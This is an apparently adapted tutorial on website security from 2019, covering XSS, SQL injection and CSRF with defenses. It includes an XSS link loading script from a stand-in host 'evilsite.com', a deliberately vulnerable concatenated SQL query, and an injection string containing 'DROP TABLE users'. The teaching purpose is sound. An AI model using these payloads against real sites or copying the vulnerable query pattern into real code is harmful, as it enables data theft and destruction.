Website security

Created by 이 윤 준 (yoonjoon.lee@gmail.com)

May, 2019

This will help us understand where threats come from, and what you can do to harden your web application against the most common attacks.

What is website security?

The Internet is a dangerous place!

The purpose of website security is to prevent any sorts of attacks.

The more formal definition of website security *is the act/practice of protecting websites from unauthorized access, use, modification, destruction, or disruption*.

Effective website security requires design effort across the whole of the website:

- in your web application,
- the configuration of the web server,
- the policies for creating and renewing passwords,
- and the client-side code.

Website security threats

This section lists just a few of the most common website threats and how they are mitigated.

Note how threats are most successful when the web application either trusts, or is not paranoid enough about the data coming from the browser.

Cross-Site Scripting (XSS)

XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts *through* the website into the browsers of other users.

The XSS vulnerabilities are divided into *reflected* and *persistent*, based on how the site returns the injected scripts to a browser.

A ***reflected*** XSS vulnerability occurs when user content that is passed to the server is returned *immediately* and *unmodified* for display in the browser. Any scripts in the original user content will be run when the new page is loaded.

For example, consider a site search function where the search terms are encoded as URL parameters, and these terms are displayed along with the results. An attacker can construct a search link that contains a malicious script as a parameter and email it to another user. If the target user clicks this "interesting link", the script will be executed when the search results are displayed.

```
http://mysite.com?q=beer
<script%20src="http://evilsite.com/tricky.js"></script>
```

A ***persistent*** XSS vulnerability occurs when the malicious script is stored on the website and then later redisplayed unmodified for other users to execute unwittingly.

For example, a discussion board that accepts comments that contain unmodified HTML could store a malicious script from an attacker. When the comments are displayed, the script is executed and can send to the attacker the information required to access the user's account. This sort of attack is extremely popular and powerful, because the attacker might not even have any direct engagement with the victims.

While the data from `POST` or `GET` requests is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable, such as cookie data rendered by the browser, or user files that are uploaded and displayed.

The best defense against XSS vulnerabilities is to remove or disable any markup that can potentially contain instructions to run the code. For HTML this includes elements, such as `<script>`, `<object>`, `<embed>`, and `<link>`.

SQL injection

SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions.

SQL injection types include Error-based SQL injection, SQL injection based on boolean errors, and Time-based SQL injection.

```
statement = "SELECT * FROM users"
            + "WHERE name = '" + userName + "';"
```

```
username = "SELECT * FROM users WHERE name = 'a';" +
"DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'"
```

To avoid this sort of attack, we must ensure that any user data that is passed to an SQL query cannot change the nature of the query. One way to do this is to escape all the characters in the user input that have a special meaning in SQL.

Cross-Site Request Forgery (CSRF)

CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user's knowledge or consent.

John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP `POST` request that includes the account name and an amount of money. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the *Submit* button disguised as a link to a "get rich quick" site).

If a user clicks the submit button, an HTTP `POST` request will be sent to the server containing the transaction details and any client-side cookies that the browser associated with the site (adding associated site cookies to requests is normal browser behavior). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.

One way to prevent this type of attack is for the server to require that POST requests include a user-specific site-generated secret. The secret would be supplied by the server when sending the web form used to make transfers. This approach prevents John from creating his own form, because he would have to know the secret that the server is providing for the user.

Other threats

- Clickjacking
- Denial of Service
- Directory Traversal
- File Inclusion
- Command Injection

A few key messages

Whatever else we do to improve the security of our website, we should sanitize all user-originating data before it is displayed in the browser, used in SQL queries, or passed to an operating system or file system call.

Some concrete steps we can take are:

- Use more effective password management.
- Configure your web server to use HTTPS and HTTP Strict Transport Security (HSTS).
- Keep track of the most popular threats (the current OWASP list is here) and address the most common vulnerabilities first.
- Use vulnerability scanning tools to perform automated security testing on your site.
- Only store and display data that we need.